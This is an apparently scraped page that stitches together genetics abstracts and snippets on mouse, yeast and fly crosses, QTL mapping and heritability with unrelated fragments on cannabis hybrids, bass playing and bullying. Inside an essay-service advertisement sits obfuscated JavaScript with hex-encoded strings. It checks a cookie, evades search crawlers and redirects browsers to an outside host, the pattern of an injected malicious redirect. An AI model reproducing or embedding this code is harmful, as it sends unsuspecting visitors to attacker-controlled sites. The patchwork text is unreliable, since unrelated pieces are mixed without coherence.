Phenotype of mice and macrophages deficient in both phagocyte oxidase and inducible nitric oxide synthase. (3/9064)

The two genetically established antimicrobial mechanisms of macrophages are production of reactive oxygen intermediates by phagocyte oxidase (phox) and reactive nitrogen intermediates by inducible nitric oxide synthase (NOS2). Mice doubly deficient in both enzymes (gp91(phox-/-)/NOS2(-/-)) formed massive abscesses containing commensal organisms, mostly enteric bacteria, even when reared under specific pathogen-free conditions with antibiotics. Neither parental strain showed such infections. Thus, phox and NOS2 appear to compensate for each other's deficiency in providing resistance to indigenous bacteria, and no other pathway does so fully. Macrophages from gp91(phox-/-)/NOS2(-/-) mice could not kill virulent Listeria. Their killing of S. typhimurium, E. coli, and attenuated Listeria was markedly diminished but demonstrable, establishing the existence of a mechanism of macrophage antibacterial activity independent of phox and NOS2.  (+info)

Enhanced Th1 activity and development of chronic enterocolitis in mice devoid of Stat3 in macrophages and neutrophils. (4/9064)

We have generated mice with a cell type-specific disruption of the Stat3 gene in macrophages and neutrophils. The mutant mice are highly susceptible to endotoxin shock with increased production of inflammatory cytokines such as TNF alpha, IL-1, IFN gamma, and IL-6. Endotoxin-induced production of inflammatory cytokines is augmented because the suppressive effects of IL-10 on inflammatory cytokine production from macrophages and neutrophils are completely abolished. The mice show a polarized immune response toward the Th1 type and develop chronic enterocolitis with age. Taken together, Stat3 plays a critical role in deactivation of macrophages and neutrophils mainly exerted by IL-10.  (+info)

Localization and properties of a silencing element near the mat3-M mating-type cassette of Schizosaccharomyces pombe. (5/9064)

Transcription is repressed in a segment of Schizosaccharomyces pombe chromosome II that encompasses the mat2-P and mat3-M mating-type cassettes. Chromosomal deletion analysis revealed the presence of a repressor element within 500 bp of mat3-M. This element acted in synergy with the trans-acting factors Swi6, Clr1, Clr2, Clr3, and Clr4 and had several properties characteristic of silencers: it did not display promoter specificity, being able to silence not only the M mating-type genes but also the S. pombe ura4 and ade6 genes placed on the centromere-distal side of the mat3-M cassette; it could repress a gene when placed further than 2.6 kb from the promoter and it acted in both orientations, although with different efficiencies, the natural orientation repressing more stringently than the reverse. Following deletion of this element, two semistable states of expression of the mat3-M region were observed and these two states could interconvert. The deletion did not affect gene expression in the vicinity of the mat2-P cassette, 11 kb away from mat3-M. Conversely, deleting 1.5 kb on the centromere-proximal side of the mat2-P cassette, which was previously shown to partially derepress transcription around mat2-P, had no effect on gene expression near mat3-M. A double deletion removing the mat2-P and mat3-M repressor elements had the same effect as the single deletions on their respective cassettes when assayed in cells of the M mating type. These observations allow us to refine a model proposing that redundant pathways silence the mating type region of S. pombe.  (+info)

RAD53 regulates DBF4 independently of checkpoint function in Saccharomyces cerevisiae. (6/9064)

The Cdc7p and Dbf4p proteins form an active kinase complex in Saccharomyces cerevisiae that is essential for the initiation of DNA replication. A genetic screen for mutations that are lethal in combination with cdc7-1 led to the isolation of seven lsd (lethal with seven defect) complementation groups. The lsd7 complementation group contained two temperature-sensitive dbf4 alleles. The lsd1 complementation group contained a new allele of RAD53, which was designated rad53-31. RAD53 encodes an essential protein kinase that is required for the activation of DNA damage and DNA replication checkpoint pathways, and that is implicated as a positive regulator of S phase. Unlike other RAD53 alleles, we demonstrate that the rad53-31 allele retains an intact checkpoint function. Thus, the checkpoint function and the DNA replication function of RAD53 can be functionally separated. The activation of DNA replication through RAD53 most likely occurs through DBF4. Two-hybrid analysis indicates that the Rad53p protein binds to Dbf4p. Furthermore, the steady-state level of DBF4 message and Dbf4p protein is reduced in several rad53 mutant strains, indicating that RAD53 positively regulates DBF4. These results suggest that two different functions of the cell cycle, initiation of DNA replication and the checkpoint function, can be coordinately regulated through the common intermediate RAD53.  (+info)

Efficient homologous and illegitimate recombination in the opportunistic yeast pathogen Candida glabrata. (7/9064)

The opportunistic pathogen Candida glabrata causes significant disease in humans. To develop genetic tools to investigate the pathogenicity of this organism, we have constructed ura3 and his3 auxotrophic strains by deleting the relevant coding regions in a C. glabrata clinical isolate. Linearized plasmids carrying a Saccharomyces cerevisiae URA3 gene efficiently transformed the ura3 auxotroph to prototrophy. Homologous recombination events were observed when the linearized plasmid carried short terminal regions homologous with the chromosome. In contrast, in the absence of any chromosomal homology, the plasmid integrated by illegitimate recombination into random sites in the genome. Sequence analysis of the target sites revealed that for the majority of illegitimate transformants there was no microhomology with the integration site. Approximately 0.25% of the insertions resulted in amino acid auxotrophy, suggesting that insertion was random at a gross level. Sequence analysis suggested that illegitimate recombination is nonrandom at the single-gene level and that the integrating plasmid has a preference for inserting into noncoding regions of the genome. Analysis of the relative numbers of homologous and illegitimate recombination events suggests that C. glabrata possesses efficient systems for both homologous and nonhomologous recombination.  (+info)

Fus3p and Kss1p control G1 arrest in Saccharomyces cerevisiae through a balance of distinct arrest and proliferative functions that operate in parallel with Far1p. (8/9064)

In Saccharomyces cerevisiae, mating pheromones activate two MAP kinases (MAPKs), Fus3p and Kss1p, to induce G1 arrest prior to mating. Fus3p is known to promote G1 arrest by activating Far1p, which inhibits three Clnp/Cdc28p kinases. To analyze the contribution of Fus3p and Kss1p to G1 arrest that is independent of Far1p, we constructed far1 CLN strains that undergo G1 arrest from increased activation of the mating MAP kinase pathway. We find that Fus3p and Kss1p both control G1 arrest through multiple functions that operate in parallel with Far1p. Fus3p and Kss1p together promote G1 arrest by repressing transcription of G1/S cyclin genes (CLN1, CLN2, CLB5) by a mechanism that blocks their activation by Cln3p/Cdc28p kinase. In addition, Fus3p and Kss1p counteract G1 arrest through overlapping and distinct functions. Fus3p and Kss1p together increase the expression of CLN3 and PCL2 genes that promote budding, and Kss1p inhibits the MAP kinase cascade. Strikingly, Fus3p promotes proliferation by a novel function that is not linked to reduced Ste12p activity or increased levels of Cln2p/Cdc28p kinase. Genetic analysis suggests that Fus3p promotes proliferation through activation of Mcm1p transcription factor that upregulates numerous genes in G1 phase. Thus, Fus3p and Kss1p control G1 arrest through a balance of arrest functions that inhibit the Cdc28p machinery and proliferative functions that bypass this inhibition.  (+info)

The Collaborative Cross (CC) represents a large collection of new inbred mouse strains created by the mouse genetics community aimed at revolutionizing the study of complex genetic traits and diseases. Derived from classical inbred strains and wild-derived strains, the CC captures nearly 90% of known genetic variation in laboratory mice, far surpassing more commonly used inbred strains. The CC is a tool to integrate studies of gene function and gene networks, allowing the prediction and testing of biological models based on the whole organism, critical to the development of personalized therapies for humans. Genome Research has published three articles online in-advance utilizing strains from the emerging Collaborative Cross mouse strains.. 1. Collaborative Cross strains facilitate mapping of causative loci. In this work, Aylor and colleagues performed an experiment called the "the pre-CC study," the first genetic data and analysis from the emerging strains of the CC. Their investigation ...
Six congenic lines containing B complex recombinants R1 = B-F/B-L24, B-G23; R2 = B-F/B-L2, B-G23; R3 = B-F/B-L2, B-G23; R4 = B-F/B-L2, B-G23; R5 = B-F/B-L21, B-G19; and R6R6 = B-F/B-L21, B-G23 were tested individually for antibody response against SRBC. R2, R3 and R4 arose from independent recombination events but are serologically identical. Each B complex recombinant was crossed to inbred Line UCD 003 (B17B17). After ten backcross generations to the inbred line, B complex heterozyogtes were mated to produce recombinant homozygous lines having 99.9% background gene uniformity. Birds of each line were injected intravenously with 1 mL of 2.5% SRBC at four and 11 weeks of age to induce primary and secondary antibody responses, respectively. Blood samples were collected 7 days post-injection. Microtiter methods were used to assay total anti-SRBC and mercaptoethanol-resistant (MER) serum antibody. All antibody titers were evaluated by least squares ANOVA with hatch and B recombinant genotype as main
For instance they could do some screens for temperature-sensitive mutants (huge, massive saunas in action). Imagine the figures in the papers to go along with this sort of experiments. Some allele crossing experiments in search of synthetic lethality - that would be great as well. With photos of F0 and F1. Auxotrophic humans with plasmids complementing their deficiency as useful tools - complementation experiments will be particularly cruel - no complementation - well, tough luck ...
There is no general technique, but there are some simple principles. One is to study the tail behavior of $f$ by comparing it to tractable functions.. By definition, the expectation is the double limit (as $y$ and $z$ vary independently). $$E_{y,z}[f] = \lim_{y\to-\infty,z\to\infty}\int_y^z x f(x) dx = \lim_{y\to-\infty}\int_y^0 x f(x) dx+ \lim_{z\to\infty}\int_0^z x f(x) dx.$$. The treatment of the two integrals at the right is the same, so lets focus on the positive one. One behavior of $f$ that assures a limiting value is to compare it to the power $x^{-p}$. Suppose $p$ is a number for which $$\liminf_{x\to\infty} x^p f(x)\gt 0.$$ This means there exists an $\epsilon\gt 0$ and an $N\gt 1$ for which $x^p f(x) \ge \epsilon$ whenever $x\in[N,\infty)$. We may exploit this inequality by breaking the integration into the regions where $x\lt N$ and $x \ge N$ and applying it in the second region:. $$\eqalign{ \int_0^z x f(x) dx &=\int_0^{N} x f(x) dx + \int_{N}^z x f(x) dx \\ &=\int_0^{N} x f(x) dx ...
J:79580 Le Bras S, Cohen-Tannoudji M, Guyot V, Vandormael-Pournin S, Coumailleau F, Babinet C, Baldacci P, Transcript map of the Ovum mutant (Om) locus: isolation by exon trapping of new candidate genes for the DDK syndrome. Gene. 2002 Aug 21;296(1-2):75 ...
Im trying to teach my self Power of Marcus Miller. Im wondering what to do when there are crosses instead of notes. It sounds like he is muting...
This is a question from a practice exam for our exam tomorrow morning. Please help I have been staring at this for an hour and cant figure it out ...
Obviously Im fucked off. But accepting. Theres nothing else to be. Theres no point stressing too much, as even when I get out, its all got to be repeated, so its not like there was a brilliant light at the end of the tunnel ...
TY - JOUR. T1 - A model selection approach for the identification of quantitative trait loci in experimental crosses, allowing epistasis. AU - Manichaikul, Ani. AU - Moon, Jee Young. AU - Sen, Śaunak. AU - Yandell, Brian S.. AU - Broman, Karl W.. PY - 2009/3. Y1 - 2009/3. N2 - The identification of quantitative trait loci (QTL) and their interactions is a crucial step toward the discovery of genes responsible for variation in experimental crosses. The problem is best viewed as one of model selection, and the most important aspect of the problem is the comparison of models of different sizes. We present a penalized likelihood approach, with penalties on QTL and pairwise interactions chosen to control false positive rates. This extends the work ofBroman and Speed to allow for pairwise interactions among QTL. A conservative version of our penalized LOD score provides strict control over the rate of extraneous QTL and interactions; a more liberal criterion is more lenient on interactions but seeks ...
Simple Sequence Length Polymorphisms (SSLPs) are used as genetic markers with polymerase chain reaction (PCR). An SSLP is a type of polymorphism: a difference in DNA sequence amongst individuals. SSLPs are repeated sequences over varying base lengths in intergenic regions of deoxyribonucleic acid (DNA). Variance in the length of SSLPs can be used to understand genetic variation between two individuals in a certain species. An example of the usage of SSLPs (microsatellites) is seen in a study by Rosenberg et al., where SSLPs were used to cluster different continental races. The study was critical to Nicholas Wades New York Times Bestseller, Before the Dawn: Recovering the Lost History of Our Ancestors. Rosenberg studied 377 SSLPs in 1000 people in 52 different regions of the world. By using PCR and cluster analysis, Rosenberg was able to group individuals that had the same SSLPs . These SSLPs were extremely useful to the experiment because they do not affect the phenotypes of the individuals, ...
We used F34 and F39-43 generations of a LG/J x SM/J AIL to perform GWAS, SNP heritability estimates, genetic correlations, replication and mega-analysis. We had previously performed several GWAS using a sparse marker set in the F34 cohort. In this study we used a denser set of SNPs, obtained using GBS, to reanalyze the F34 cohort. We found 109 significant loci, 36 of which had not been identified in our prior studies using the sparse marker set. We used a new, previously unpublished F39-43 cohort for GWAS and showed that genetic correlations were high for the subset of traits that were measured in both cohorts. Despite this, we found that many loci were not replicated between cohorts, even when we used a relatively liberal definition of replication (p , 0.05). The failure to replicate some of our findings was not predicted by our power simulations. Therefore, we performed an analysis to determine whether Winners Curse and study-specific heterogeneity could account for the lower than expected ...
TY - JOUR. T1 - Methods of increasing short term response to full-sib family recurrent selection in small populations. AU - Mackay, I. J.. AU - Caligari, P. D.S.. PY - 2000. Y1 - 2000. N2 - Accelerated recurrent selection (ARS), in which selection is carried out on the predicted value of the progeny rather than on the observed performance of the parents, has been proposed as a method of increasing response to selection and of reducing cycle time. ARS schemes based on test cross evaluation of full-sib families have been compared by stochastic computer simulation. The difference in genetic and economic time scales is emphasised, with the economic long term (21 years) being only 21 or fewer cycles of selection. ARS schemes are shown frequently to offer improvements over standard recurrent selection methods under these circumstances, since they allow more cycles of selection in a given time frame. Schemes with very low effective population sizes often give the greatest response to selection over the ...
Wilson, B D.; Sternick, J L.; Yoshizawa, Y; Katzenstein, A; and Moore, V L., "Experimental murine hypersensitivity pneumonitis: multigenic control and influence by genes within the i-b subregion of the h-2 complex." (1982). Subject Strain Bibliography 1982. 3795 ...
Read "Transmission Ratio Distortion, Sterility, and Control of the t-Complex Function in Sperm, Russian Journal of Genetics" on DeepDyve, the largest online rental service for scholarly research with thousands of academic publications available at your fingertips.
Epistasis-nonlinear genetic interactions between polymorphic loci-is the genetic basis of canalization and speciation, and epistatic interactions can be used to infer genetic networks affecting quantitative traits. However, the role that epistasis plays in the genetic architecture of quantitative traits is controversial. Here, we compared the genetic architecture of three Drosophila life history traits in the sequenced inbred lines of the Drosophila melanogaster Genetic Reference Panel (DGRP) and a large outbred, advanced intercross population derived from 40 DGRP lines (Flyland). We assessed allele frequency changes between pools of individuals at the extremes of the distribution for each trait in the Flyland population by deep DNA sequencing. The genetic architecture of all traits was highly polygenic in both analyses. Surprisingly, none of the SNPs associated with the traits in Flyland replicated in the DGRP and vice versa. However, the majority of these SNPs participated in at least one ...
WKY and LEW strains have been widely studied for their differential susceptibility to experimental glomerulonephritis. In particular these strains show strong variations in the macrophage activation. This dataset measures expression of macrophages in backcross population of WKY DC and LEW rats and includes a few control origninating from the WKY DC strain.
Fly culture and transgenic lines. Drosophila melanogaster Canton S-5 (CS-5), the parental wild-type strain from which acj6 mutants were derived (McKenna et al., 1989), were reared at 18 or 25°C on cornmeal, sucrose, yeast media.. The olfactory neuron-specific P [Gal4] driver line GH86 (Heimbeck et al., 1999) and the UAS-Acj6 (1,3,4) and UAS-Acj6 (1,4) (Certel et al., 2000) responder lines were obtained from Dr. W. A. Johnson (University of Iowa). UAS-Acj6 (1,3,4) (chromosome II) and UAS-Acj6 (1,4) (chromosome III) transgenic lines (Certel et al., 2000) were recombined with Cha-Gal4 lines (chromosome III or II) by standard genetic crosses using second or third chromosome balancers,CyO or TM3. The GH86 olfactory driver was recombined with either UAS-Acj6 (1,3,4) or UAS-Acj6 (1,4) transgenic lines, and male progeny were used for ChAT assay (see below).. A fluorescent cholinergic reporter line marking essentially all known cholinergic neurons consisted of a 7.4 kb Cha-Gal4 driver line (19B) ...
Each mouse in the pre-CC experiment was genotyped using a highdensity SNP array. Most of the genotyping was completed using test arrays. These arrays were developed as an intermediate step in the process of developing the Mouse Diversity array (Yang et al. 2009). There are two versions of the test array: A-array and B-array. The A-array includes 294,878 SNP assays, and the B-array contains 287,687 additional SNP assays. We determined that 181,752 (A-array) and 180,976 (B-array) SNP assays performed well and targeted loci that are polymorphic among the eight founder strains. There is no overlap between the two arrays, but the genome coverage is complete and uniformly distributed in both. In some cases, animals from the same phenotyping arm were genotyped with different arrays. Integration was achieved by merging the two sets and using an HMM to impute haplotypes at loci with missing genotypes. Due to the high marker density, this procedure was very effective. The exercise behavior and ...
A case of hybrid sterility in Drosophila paulistorum is due to an incompatibility of the Y chromosome of certain strains with the cytoplasm of other strains. The constitution of the cytoplasm responsible for the sterility is not, however, independent of the chromosomal genes. After seven backcrosses of the hybrid females to males of the same strain, fertile male progenies are finally obtained. ...
Hybrid Stain Crosses: Most cannabis seeds and medicine available today are from hybrids - crosses of Sativa and Indica varieties. This allows cultivators to enjoy and select for various desired characteristics of growth, appearance and effect. The genetics and hence the effects of one lineage will usually be dominant. For example: Indica-dominant crosses are for pain relief, with the sativa component helping with energy and activity levels. Sativa-dominant crosses are good for stimulating appetite, with the indica component helping to reduce body pain and increase relaxation. Cannabis has been proven helpful in relieving the symptoms of thousands of conditions, including: Pain from various ailments and ...
Abstract: This thesis studies a new method to estimate the probability that a Brownian bridge crosses a concave boundary. We show that a Brownian bridge crosses a concave boundary if and only if its least concave majorant crosses said concave boundary. As such, we can equivalently simulate the least concave majorant of a Brownian bridge in order to estimate the probability that a Brownian bridge crosses a concave boundary. We apply these theoretical results to the problem of estimating joint confidence intervals for a true CDF at every point. We compare this method to a traditional method for estimating joint confidence intervals for the true CDF at every point which is based upon the limiting distribution of what is often called the Kolmogorov-Smirnov distance, the sup-norm distance between the empirical and true CDFs. We indicate the disadvantages of the traditional approach and demonstrate how our approach addresses these weaknesses. ...
The beans from the mixed plot show a nice bell-shaped distribution (figure). Similarly, the beans harvested from pure lines grown in separate garden plots also show nice bell-shaped distributions, though the means differ for each pure line. The key difference is in the results of selective breeding for heavier (or lighter) beans, i.e., planting a new crop using only the heaviest (or lightest) beans: selection shifts the distribution of seed weights in the mixed plot, but has no significant effect on the distribution of seed weights produced by a pure line.. Within just a few decades, neo-Darwinians such as Ford (1938) dismissed Johannsens results as a logical necessity, as though the experiments proved nothing. Johannsens studies had changed our understanding so profoundly that Ford was unable to imagine how scientists (mis)understood the world before.. I wont ask you to do what Ford could not, which is to forget genetics.. Instead, I would like to ask you to join me in imagining a different ...
Each QTL identified in the crosses of inbred mice generally spans a large genomic distance, sometimes almost an entire chromosome. In complex phenotypes such as atherosclerosis, where a large number of genes are involved, transferring a target region onto an inbred background and creating congenic line is a powerful step toward identifying causative genes. Here we have analyzed the effect of the atherosclerosis QTL Aath4 by establishing a congenic line (Aath4aDBA/DBA), where the 5′ region of DBA Aath4 was backcrossed onto a 129S6-Apoe−/− background. As expected, the resulting Aath4aDBA/DBA males had significantly larger plaques, and macrophages isolated from these mice exhibited reduced efferocytosis as a consequence of allele-specific decrease in MERTK expression. Together, our results provide strong evidence that the increased susceptibility to atherosclerosis determined by the DBA allele of Aath4 is, at least in part, due to decreased MERTK expression.. MERTK is known to play a ...
SM/J mice carry a number of rare polymorphic alleles and are often matched to other strains for quantitative trait locus analysis. These mice are susceptible to diet-induced obesity and diet-induced atherosclerosis. SM/J mice exhibit a hyperresponsiveness to B cell mitogens. Small in size at birth and through weaning, SM/J mice attain a normal body weight as they age.
You and your partner should first scan all your plates to determine whether or not your crosses are scorable. If you have males or only phenotypicaly WT and Unc progeny, you should not try to analyze that plate for linkage. Why not? If you have no males and some dumpy progeny, you may score that plate in this linkage analysis. Look carefully at all the scorable plates and try to find double mutants. If you see no (or only very rare) double mutant (du/du) progeny on one of the plates, it indicates that your unknown dpy mutation is on the same chromosome or linkage group as that known unc mutation. Why? What might it mean if none of the plates of progeny lack double mutants? (Hint: there are 5 autosomes and we only tested 4 of them for linkage.) Since we know on which autosome each of the reference unc mutations are located, you should be able to figure out on which chromosome your unknown dpy mutation is found ...
Watson, J; Riblet, R; and Taylor, B A., "The response of recombinant inbred strains of mice to bacterial lipopolysaccharides." (1977). Subject Strain Bibliography 1977. 3712 ...
If you want to gain more trust in paying for essays online from bestessay4u.net explore the critical reviews, consumer reviews and visit the web-site to check out various services.. var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== ...
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Handling Arabidopsis plants: growth, preservation of seeds, transformation, and genetic crosses. Rivero, L., Scholl, R., Holomuzki, N., Crist, D., Grotewold, E., and Brkljacic, J. (2014) Methods Mol Biol 1062: 3-25.
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What makes a dominant gene be labeled as such is when it is the characteristic of that gene is the one that presents itself in offspring. It is dominant because it "outweighs" the recessive trait. ...
f(x)-f(a), is not less than ,f(x-a),. Its not like f is linear or something. ,f(x)-f(a),=,(f(x)-f(a))/(x-a),*,x-a,. Now to get a d, you need a bound on ,(f(x)-f(a))/(x-a), near x=a. Hint: doesnt that look like a difference quotient ...
Negatively stained purified virions of parental virus strains and hybrid progenies. CPXV-NOHI (A), MVA-HANP (B), Rec 1 (C), Rec 2 (D), Rec 3 (E), Rec 3a (F), Re
data diallel; label time = Flowering time in days; do p = 1 to 8; do m = 1 to 8; if (m ne p) then do; sym = trim(left(min(m,p))) ,, , ,, trim(left(max(m,p))); do block = 1 to 2; input time @@; output; end; end; end; end; datalines; 14.4 16.2 27.2 30.8 17.2 27.0 18.3 20.2 16.2 16.8 18.6 14.4 16.4 16.0 15.4 16.5 14.8 14.6 18.6 18.6 15.2 15.3 17.0 15.2 14.4 14.8 10.8 13.2 31.8 30.4 21.0 23.0 24.6 25.4 19.2 20.0 29.8 28.4 12.8 14.2 13.0 14.4 16.2 17.8 11.4 13.0 16.8 16.3 12.4 14.2 16.8 14.8 12.6 12.2 9.6 11.2 14.6 18.8 12.2 13.6 15.2 15.4 15.2 13.8 18.0 16.0 10.4 12.2 13.4 20.0 20.2 23.4 14.2 14.0 18.6 14.8 22.2 17.0 14.3 17.3 9.0 10.2 11.8 12.8 14.0 16.6 12.2 9.2 13.6 16.2 13.8 14.4 15.6 15.6 15.6 11.0 13.0 9.8 15.2 17.2 10.0 11.6 17.0 18.2 20.8 20.8 20.0 17.4 17.0 12.6 13.0 9.8 ...
Use the West nomogram by drawing a straight line between the height and weight of a child. This line crosses the surface area column and gives an estimation of the body surface area for this child,...
Organizational success hinges on effective execution, and effective execution is a matter of ability and agility. New research from Strategy& shows that there are two key levers to pull in building an able, agile organization.
Let T-n (R) be the upper triangular matrix ring over a unital ring R. Suppose that B : Tn (R) x Tn (R) is a biadditive map such that B(X, X) X = X B(X, X) for ...
Determine all binery cyclic codes of length 5. Note: To find all cyclic codes of length n, find all ideals in B[x]/x^2+1 Note: If 1 is an Ideal (I) then R = I. Example: n=2 R=B[x]/x^2+1, x^2=1 R={o,1,x,1+x} Ideals |0|.
Considering Ive "lost a couple" of readers over the last seven months this thing has been active (yes, they let me know about it, too!) Im surprised and pleased so many enjoy my meandering ramblings and scattered gaming thoughts ...
According to Kundalini Yoga, there are six chakras in number. Kundalini awakening takes place when the coiled up energy crosses all chakras and reaches to Sahasrar, the last chakra. For awakening of Kundalini, one must understand the chakras and what they signifies.
Myopia development is characterised by an increased axial eye length. Therefore, identifying factors that influence eye size may provide new insights into the aetiology of myopia. In humans, axial length is positively correlated to height and weight, and in mice, eye weight is positively correlated with body weight. The purpose of this study was to examine the relationship between eye size and body size in chickens from a genetic cross in which alleles with major effects on eye and body size were segregating. Chickens from a cross between a layer line (small body size and eye size) and a broiler line (large body and eye size) were interbred for 10 generations so that alleles for eye and body size would have the chance to segregate independently. At 3 weeks of age, 510 chicks were assessed using in vivo high resolution A-scan ultrasonography and keratometry. Equatorial eye diameter and eye weight were measured after enucleation. The variations in eye size parameters that could be explained by ...
A second chromosome line of Drosophila melanogaster (Symbol: T-007) has previously been shown to be responsible for the induction of male recombination. In the present investigation, the genetic elements responsible for this phenomenon have been partially identified and mapped. A major element (Symbol: Mr, for M ale recombination) locates on the second chromosome between the pr (2L-54.4) and c (2R-75.5) loci and is responsible for the large majority of male recombination. In addition, there appear to be "secondary elements" present which have the ability to induce male recombination in much reduced frequencies and which are diluted out through successive backcross generations when Mr is removed by recombination. The possible nature of these "secondary elements" is discussed.. ...
Due to the absence of accurate pedigree information, it has not been possible to implement genetic evaluations for crossbred cattle in African small-holder systems. Genomic selection techniques that do not rely on pedigree information could, therefore, be a useful alternative. The objective of this study was to examine the feasibility of using genomic selection techniques in a crossbred cattle population using data from Kenya provided by the Dairy Genetics East Africa Project. Genomic estimated breeding values for milk yield were estimated using 2 prediction methods, GBLUP and BayesC, and accuracies were calculated as the correlation between yield deviations and genomic breeding values included in the estimation process, mimicking the situation for young bulls. The accuracy of evaluation ranged from 0.28 to 0.41, depending on the validation population and prediction method used. No significant differences were found in accuracy between the 2 prediction methods. The results suggest that there is ...
QUANTITATIVE traits are affected by many genes that act singly and in interaction with each other. Epistasis, the interaction between genes at different loci, may exert important effects on (1) the dynamic of evolving populations (Cheverud and Routman 1996), (2) changes of genetic variances caused by long-term selection (Carlborg et al. 2006) or by a population bottleneck (Goodnight 1987), and (3) heterosis (Doebley et al. 1995; Yu et al. 1997; Li et al. 2001; Xing et al. 2002; Hua et al. 2003; Mei et al. 2003; Syed and Chen 2005; Kusterer et al. 2007; Melchinger et al. 2007a).. To detect epistatic quantitative trait loci (QTL) in conventional mapping studies with segregating populations such as recombinant inbred lines (RILs), methods have been applied to search multiple QTL simultaneously (for review see Carlborg and Haley 2004). Such multidimensional scans are hampered by the problem of multiple tests, which increases for digenic epistasis in a quadratic manner compared to tests for presence ...
In the analysis of genes contributing to disease in animal models of autoimmunity, the affected strain is usually outcrossed to another strain that does not express the phenotype being studied. Whether the genes from the unaffected or non-autoimmune strain can change the results of linkage analyses has not been directly studied. McAleer et al. (23) analyzed genes contributing to insulin-dependent diabetes in NOD mice in outcrosses to MHC-congenic NON mice and compared results to previous outcrosses with C57BL/10 mice. Background genetic influences from NON versus C57BL/10 strains were apparent, but the fact that NOD and NON are related backgrounds likely influenced some of the findings. Furthermore, the comparison was retrospective, which could have introduced another variable. In our study, we used two well-studied and unrelated normal strains, C57BL/6J and BALB/cJ, and all backcross progeny were bred and followed for disease concomitantly. Our results indicate that the genetic background of ...
Looking for online definition of double backcross in the Medical Dictionary? double backcross explanation free. What is double backcross? Meaning of double backcross medical term. What does double backcross mean?
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Before you begin to write, you should objectively analyze the data collected by the whole course (combined 5 lab sections). You learned from the phenotype of the heterozygous male progeny (from the cross between N2 wild type males and the Dpy Unc hermaphrodites) which strain has the x-linked mutation. Do the data from the scoring, support that conclusion that the mutations are unlinked in this strain? Note that the expected 9:3:3:1 ratio of F2 progeny of the dihybrid selfing in this strain isnt perfect. Does that mean that the two genes responsible for the two phenotypic defects arent really on different chromosomes? Do these data better support linkage? You could do a statistical test for goodness of fit (such as a Chi square) to see if it is likely that the differences between what we observed and what we expected are due to chance and, if so, that we can accept our conclusion with more confidence. Unfortunately, the Chi square test is used with a specific kind of cross that we didnt do, so ...
The primary response of mice to ϑ-AKR antigen was measured by means of plaque assay detecting cells producing antibodies lytic for AKR thymocytes (PFC). It was found that 3 of 12 different F1 hybrids produced significantly more PFC than either parental strain. In segregating populations of C57BL/6J and DBA/2J mice, H-2 homozygotes responded like parental mice, whereas most but not all H-2 heterozygotes responded like F1 hybrids. In the F2 population 7% and in the backcross population to C57BL/6J parent 20% of H-2 heterozygotes responded like parental mice. On the basis of experimental data, a hypothesis was advanced that thre eloci in the IXth linkage group are involved in genetic control of the response to ϑ-AKR antigen. Each locus has at least two alleles, one dominant and one recessive. Dominant alleles complement each other which explains why the response to certain F1 hybrids is higher than the response of their parents. Two of three hypothetical loci are closely linked to each other as ...
A series of 15 scientific papers published this week in the journals of the Genetics Society of America (Genetics and G3: Genes,Genomes,Genetics) put North Carolina at the epicenter of a scientific resource called the Collaborative Cross. North Carolina-based genetic resources fuel big scientific progress - Read More… ...
Xin-zhuan Su is the author of this article in the Journal of Visualized Experiments: Protocol for Production of a Genetic Cross of the Rodent Malaria Parasites
Poodles crosses are rapidly gaining popularity! So lets compare the Cavapoo vs Cockapoo. What are the differences between these lovable pups?
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Heterosis in crossbred individuals. (a) Results for a low correlation of LD phase between breeds A and B (r = 0.2 for markers 1 cM apart). (b) Results for
by Rhonda Cooper For the students and residents of the Northern Village of Ile-a-la Crosse, swimming will soon become a year-round activity. The new indoor pool is in the final stages of construction and once a manager is hired, it will be open to the public.
Combining ability and gene action of yield and related characters in maize (Zea mays L.) hybrids under the conditions of Raqqa Governorate, Syria
In order to understand the effect of genetic background on the response to gene dose perturbation, we performed mRNA transcriptional profiling on 99 hemizygotic lines (Df/+) from the DrosDel project, which have hybrid genetic background of OregonR/w1118.
We looked into our storage room and found several different hard drive generations from Samsung. We used a 300 GB drive for the 2005 PC, a 400 GB model for the 2006 build, a 1 TB disk for the 2008 machine, and an updated 1 TB drives in the 2010 sy...
Obviously, there are a great many horses worldwide with three or fewer NTB crosses in their pedigrees but, realistically, only an exceedingly tiny fraction of them and their progeny stand a chance of advancement into a TB registry. So few that rather than creating a new database I think it might be more efficient for those that are indeed competing with TBs to be entered in the db here. It already includes quasi TBs such as the North American Appendix TBs (foaled 1893-1932 and registered with the JC for purposes of racing with TBs but ineligible by number of TB crosses for inclusion in the American Stud Book) and NTBs that have raced in other countries ...
I hadnt seen anything like that, and I just felt ashamed witnessing it. There was one kid specifically picked on, they only called him a word that basically meant ugly," Dilgin said. "That wasnt even the worst part. When that kid was outside of the camp they would pee and masturbate on his bed.". Dilgin said that he usually tried to be as inclusive as possible as a child growing up, but while he was abroad in Germany when he was 14 years old, he was unable to step in and prevent bullying.. "I realized you can only stop these things when you are in your own country and your own culture. You cant step in when you are in a foreign culture and youre and outsider," Dilgin said. "We were too busy protecting ourselves because we were getting made fun of also. In comparison to that kid though, ours was just like OK, this is their culture and theyre rough.". A 2005 articledescribed in great detail the bullying epidemic occurring in Germany. That article also cited a report that provided evidence ...
48% carry H gene. That means that the other 52% do not have the H dominant gene, which means that they are homozygotus recessive. From here we can find out the value of q(the frequence of h recessive gene) since hh=q^2. Using windows calculator we get q=0.7211. Since q+p=1 then p=0.2789 ...
